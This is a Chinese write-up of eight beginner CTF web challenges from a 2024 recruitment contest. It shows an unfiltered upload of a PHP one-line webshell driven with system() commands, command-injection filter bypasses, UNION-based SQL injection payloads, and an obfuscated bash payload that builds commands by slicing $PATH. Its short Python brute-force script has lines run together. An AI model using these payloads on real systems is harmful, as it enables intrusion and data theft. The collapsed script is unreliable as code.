2024 SNERT 预备队招新 CTF 体验赛-Web

目录

 

1、robots

2、NOF12

3、get_post

4、好事慢磨

5、uploads

6、rce

7、ezsql

8、RCE


 

1、robots

b87634594d1b4a6ba0f60c69d1cbb996.png

robots 协议又叫爬虫协议,访问 robots.txt

f4d2b94903ed4c8296c6ca8f9c3ad030.png

继续访问 /JAY.php

f6f9d62f6b1449a0b390f2102b923ce8.png

拿到 flag:flag{hello_Do_YOU_KONw_JAY!}

 

2、NOF12

28b02c0df0ad4f0fa5337e10ed6527f7.png

F12 和右键都被禁用

77393a4f82c8404a949d10286dc38669.png

方法(1)

通过浏览器点击打开开发人员工具

8b2ddbd634ee495180c08b0072a713ae.png

源码里看到 flag:flag{wellcome_TO_CTF!!!}

0a39c687feef4407805739b0435e5670.png

方法(2)

提前打开 F12 

3e3949754e74412bbdffe5bcd4d76451.png

再访问进入题目地址

06c621e73b1849039a655b7c6f093c27.png

 

3、get_post

基本的 get 和 post 传参方式,payload:

?a=helloctf
post:b=666

93ece1f2b88b41dea7da300570c99f55.png

两次 base64 解码

4fcc4ff636e1485a96988b59ff2dd436.png

31ff1b985147453989c6855db3f242ef.png

拿到 flag:flag{hello!!!it_so_easy}

 

4、好事慢磨

aa81707a9ba044bba786c4571c2ef3b6.png

简单测试一下可以发现 flag 一共有 300 位

3ca13818c924465d85a1801c71e21248.png

F12 在源码里看到 post 请求参数名为 hacker

191f6896127941cfa0721a3df88ddf18.png

试一下,确实可以正常回显

d7540774482248059a405e90c7e2e5b6.png

用 python 写个脚本跑就可以了

exp:


# @author:Myon
# @time:20240828
import requests
import reurl = 'http://snert.net.cn:10001/'
out = ''
for i in range(300):payload = {'hacker': f'{i}'}# print(payload)res = requests.post(url, data=payload)# print(res.text)match = re.search(r':(.+)', res.text)  # 匹配冒号后面的所有字符out += match.group(1)print(out)

563582a01c9e4d9fa80dd30f290ac436.png

拿到 flag:

flag{pa2hpl-pkfwbv42tnvv-qeviypz7z4xorksoo95so-9uv3m5jxq5mbhm154wjl3068eo-3985u36ahbqj7my1d7bv2ld2avi63utr5n3vga6dlgfnxjy-jzzvine7hx6mtl668v2cp9z46zem696rnkvw174couqof1e7d82hwutf-cfwayhsyebppztvmrgmo7dl1qf-dewym0i4y4v8kvd1cn1v1oqlqxbeqz5t1mt2kburhafuivsz7khbvcum-xbne6rgi9losgjii-3bqou8l7j5zjm264h9z}
 

 

5、uploads

6edbe3b6b4234e6dad98a78b61a1229e.png

没有任何过滤,直接传一句话木马

873feff7b1db4715a9f144c324c3e4c6.png

调用,在上一层目录看到 flag.php

cmd=system('ls ../');

21d83adb46c049b9860ca9a4079a011f.png

读取:

cmd=system('tac ../f*');

54a0f447d1cc4720a978113647aed044.png

拿到 flag:flag{BDQLKdC6yDJ2DxphWzJrWDjQsHnHTZ3s}

 

6、rce

3708b12559874353898775d260a67366.png

代码审计: 

post 传入 a,如果传入的内容里面有 cat 或者 flag,都会被替换为空,之后输出替换后剩下的内容,再将其传给 system 函数作为参数进行调用,输出返回的结果。

先看一下当前目录下有什么:

a=ls

88cb89dc615d4a41a3541ef25355396a.png

有一个叫 flag.php 的东西,注意这里有点容易看错,我一开始看成了 lsflag.php,其实前面的 ls 是我们执行的命令被 echo 输出了,所有真正的文件名应该是 flag.php。

方法(1):换一个读取命令,不使用 cat,结合通配绕过

payload:

a=tac f*

8bbb609705fc4dc1a72d71020c23ed7b.png

拿到 flag:flag{TTBnmqQa3cX0Hg6D522Y2Y7Pn3PZtog4}

当然还有很多其他的命令可以用,比如反向输出,问号进行通配等:

a=rev fla?.???

4fd787517a184fbcb1ae5cfedfa00d5b.png

方法(2):双写绕过

a=cacatt flaflagg.php

替换掉其中的 cat 和 flag 剩下的就是 cat flag.php 

f292eadee1894b71be02bc3b5256b49d.png

查看源代码即可看到 flag

f81019d0eac145de9ca87220338fafad.png

 

7、ezsql

729a4c952db64ee9a99c69fc91a87f7e.png

查询 Alex

返回 ID: 1 - Name: Alex - Password: Alex_123 

b7766ad2b9a7416987add3cb680ef7ab.png 

如果你查我的名字其实可以得到一个小提示

c3bf0ecc7c164b3f9874b52c8dd9053e.png

就是没有任何过滤的 sql 注入,关于 sqlmap 跑的我就不演示了,下面简单说一下手动注入的流程。

输入单引号报错:如果是萌新会很不理解为什么要这样为什么会报错,正如我提示里面所说,先去了解 sql 注入的原理吧。

07c6251273194f26907f7770f432d676.png

使用 # 注释掉后面内容,闭合成功

85644c695e3947cd8a61911a19c69083.png

由前面 Alex 的查询结果回显可以推断字段数为 3

直接查数据库下的所有表名: 

' union select 1,2,table_name from information_schema.tables where table_schema=database()#

6567c772e2ba483f83974cbd2c5f1cb2.png

可以看到存在一个名为 googthings 的表,查该表下的列名:

' union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='goodthings'#

列名也是 username 和 password 

61fff9bc92bf4ed0abfb8a113246eca8.png

正如一开始题目所说,密码里面藏着东西,那么这里其实都不用查列名,直接查 goodthings

这个表下面的 password 列的内容即可:

' union select 1,2,password from goodthings #

bd26c77c85ac42b785a6bb534031bba5.png

拿到 flag:flag{war6m9-gyn6rl6q8ik1qp-pe4eqttoos7tl6o-dvxm9jmt3pk}

 

8、RCE

9859de8315d54300950a9217b232ca45.png

限制死了只能使用这些字符:{(FAST:HIP)}$~

出这道题的想法来源于我之前刷到过的两个题,一个是 Linux 内置环境变量

参考我之前的博客:

ctfshow-web入门-命令执行(web118详解)Linux 内置变量与Bash切片_web 118 ctfshow-CSDN博客https://blog.csdn.net/Myon5/article/details/140145005

光有 Linux 内置环境变量还不够,我们还需要用到切片操作,因此还需要构造数字,同样参考我之前的博客:web57

ctfshow-web入门-命令执行(web56、web57、web58)_ctfshow web57-CSDN博客https://blog.csdn.net/Myon5/article/details/139746224

这里我们利用上述字符可以构造出 $PATH

这个东西的前面部分基本上都是一样的:

827618c796864ed79a3532bd5d8456f1.png

1089283ffb824b4ba8bfc21499101ee6.png

cac80c7146784b1d8a79014bf60b72c6.png

9d1c02c276e54061a52099812563f27d.png 即:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 

所以这里默认这部分是我们已知的,我们利用切片操作就可以构造出 /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 里面的任意一个字符,进而我们就可以继续构造 ls、nl 等命令,空格我们使用 ${IFS} 代替。

详细看完我前两篇博客所说的内容,你就会真正理解 payload 是如何构造的。

构造 payload 读取根目录下面的文件:

ls /

即 

嘻嘻嘻=${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${IFS}${PATH:$(()):$((~$(($((~$(())))$((~$(())))))))}

b52a395b2023435dab7952132d3c1865.png

未见 flag 文件,但是存在一个名为 burn 的文件,这个文件名在根目录下是不常见的,结合 php 源码勇师傅有注释说:# flag被我烧掉了,burn 就是燃烧的意思。

构造 payload 读取这个文件:

nl /burn

即 

嘻嘻嘻=${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${IFS}${PATH:$(()):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}

3ce1189b9e8b434fab3356f3447835f9.png

拿到 flag:flag{r18s4bcp-ctvmmijn6a2g7-pnbrwudl}

 

这个题算是勇师傅最后弄的一个压轴题吧,不压一下第一天上午 web 就全穿了,除了这道,这次的 web 题都出的非常简单和基础,最后,期待大一大二的加入 SNERT 学习!

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/147989.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

22、Raven2

难度 中 目标 root权限 4个flag 使用Virtualbox启动 kali 192.168.86.105 靶机 192.168.86.106 信息收集 看到111端口有一个rpc相关的东西,去网上查看了一下是什么服务 通过在网上搜索发现这是一个信息泄露的漏洞,上面的这个端口其实就是泄露的端口和…

【Spring 底层原理】手搓一个Spring框架

文章目录 准备工作Spring 框架到底在干啥?几个概念辨析注解的定义自定义核心注解配置类启动类辅助类 Spring 容器XxxAware 回调机制初始化机制前置、后置处理器完整的容器代码源码下载 最近工作接触到的知识比较底层,因此为了突破瓶颈,彻底搞…

ubuntu+MobaXterm+ssh+运行Qt(成功版)

点击上方"蓝字"关注我们 01、ubuntu连接SSH >>> 通过串口工具连接ubuntu 登录 解决连接不上的问题 检查 SSH 服务:确保目标机器上 SSH 服务已启动。你可以在目标机器上运行以下命令: sudo systemctl status ssh 如果没有运行,可以使用以下命令启动 SSH …

英特尔AI加速器Gaudi 3下周发布,挑战NVIDIA统治地位!

英特尔正稳步推进其2024年计划,备受瞩目的AI加速器Gaudi3预计将于下周震撼登场。这款被誉为英特尔AI英雄的产品,专注于处理大规模训练和推理任务,拥有无与伦比的扩展能力。面对市场对高效能半导体的旺盛需求,英特尔首席执行官帕特…

FX5 CPU模块和以太网模块的以太网通信功能

FX5 CPU模块和以太网模块的以太网通信功能的概要如下所示。 CPU模块的内置以太网端口的通信规格如下所示。 1、与MELSOFT的直接连接 不使用集线器,用1根以太网电缆直接连接以太网搭载模块与工程工具(GX Torks3)。无需设定IP地址,仅连接目标指定即可进行…

无服务器计算构建人工智能管理区块链系统

图片发自简书App 图片发自简书App 本发明属于网络版权管理技术领域,特别涉及一种以交易信息作 为唯一标准发行虚拟币的区块链系统。 背景技术 数字代币如比特币、以太坊等是区块链技术的实现方式之一,目 标是取代法定货币流通,通过“挖矿”的…

前端-js例子:收钱转账

支付宝转账 在这里用到周期定时器setInterval(function,time),设置达到目标钱数时停止定时器。 点击转账按钮时,开始函数显示。 同时要确定输入框里输入的是数字。(有一定容错) window.onloadfunction(){var btn document.que…

什么是慢充优惠话费充值api?如何选择平台

一、话费充值api的定义 话费充值api是一种能够让开发者将话费充值功能集成到自己的平台的接口。通过接入话费充值api接口,就能够实现话费充值平台的搭建,从而为用户提供话费充值服务,这一接口主要适用于对话费充值有长期稳定需求的企业或者商…

K8s容器运行时,移除Dockershim后存在哪些疑惑?

K8s容器运行时,移除Dockershim后存在哪些疑惑? 大家好,我是秋意零。 K8s版本截止目前(24/09)已经发布到了1.31.x版本。早在K8s版本从1.24.x起(22/05),默认的容器运行时就不再是Doc…

排序-----归并排序(递归版)

核心思想:假设数组前后两部分各自有序,然后各定义两个指针,谁小谁放到新开辟的数组里面,最后把新开辟的数组赋值给原数组就完成了。要使前后两部分有序就采用递归的方式,不断往下划分块,最后一层划分为两个…

01 基础request

目录 类 WxRequest 的定义 静态属性 default 构造函数 constructor 方法 request HTTP 方法封装 创建 WxRequest 实例并导出 完整代码: 类 WxRequest 的定义 创建一个 WxRequest 类包含一个静态属性 default 和几个方法,用于处理网络请求。 静态…

【后端开发】JavaEE初阶—Theard类及常见方法—线程的操作(超详解)

前言: 🌟🌟本期讲解多线程的知识哟~~~,希望能帮到屏幕前的你。 🌈上期博客在这里:【后端开发】JavaEE初阶—线程的理解和编程实现-CSDN博客 🌈感兴趣的小伙伴看一看小编主页:GGBondl…

计算机毕业设计之:基于深度学习的路面检测系统(源码+部署文档+讲解)

博主介绍: ✌我是阿龙,一名专注于Java技术领域的程序员,全网拥有10W粉丝。作为CSDN特邀作者、博客专家、新星计划导师,我在计算机毕业设计开发方面积累了丰富的经验。同时,我也是掘金、华为云、阿里云、InfoQ等平台…

鸿蒙OpenHarmony【轻量系统内核扩展组件(CPU占用率)】子系统开发

基本概念 CPU(中央处理器,Central Processing Unit)占用率分为系统CPU占用率和任务CPU占用率。 系统CPU占用率:是指周期时间内系统的CPU占用率,用于表示系统一段时间内的闲忙程度,也表示CPU的负载情况。系…

INIT与init_array

INIT与init array 1.so执行JNI_OnLoad之前,还会执行俩个构造函数init 和init array 在so加载时候有这个过程: .init -> .init array -> JNI_Onload -> java_com_xxx 在脱壳的过程中会在一些系统级的.so中下断点比如:fopen&#x…

GUI编程19:贪吃蛇小游戏及GUI总结

视频链接:21、贪吃蛇之界面绘制_哔哩哔哩_bilibilihttps://www.bilibili.com/video/BV1DJ411B75F?p21&vd_sourceb5775c3a4ea16a5306db9c7c1c1486b5 1.游戏中用的的图片素材 1.贪吃蛇游戏的主启动类StartGame; package com.yundait.snake;import j…

缓存的思考与总结

缓存的思考与总结 什么是缓存缓存命中率数据一致性旁路模式 Cache aside双写模式直写模式 write through异步写 Write Behind 旁路和双写 案例 新技术或中间的引入,一定是解决了亟待解决的问题或是显著提升了系统性能,并且这种改变所带来的增幅&#xff…

【开源服务框架】Dubbo

🎄欢迎来到边境矢梦的csdn博文🎄 🎄本文主要梳理Java面试中开源服务框架Dubbo会涉及到的知识点 🎄 🌈我是边境矢梦,一个正在为秋招和算法竞赛做准备的学生🌈 🎆喜欢的朋友可以关注一…

GAMES101(15节)

Irradiance辐射度量学 辐射度量学在渲染领域,可以帮助理解基于物理的光照模型 radiant energy辐射能量Q,累计总能量(单位J joule焦耳),就像太阳能板,光照时间越长接收能量越多,收到的能量总和…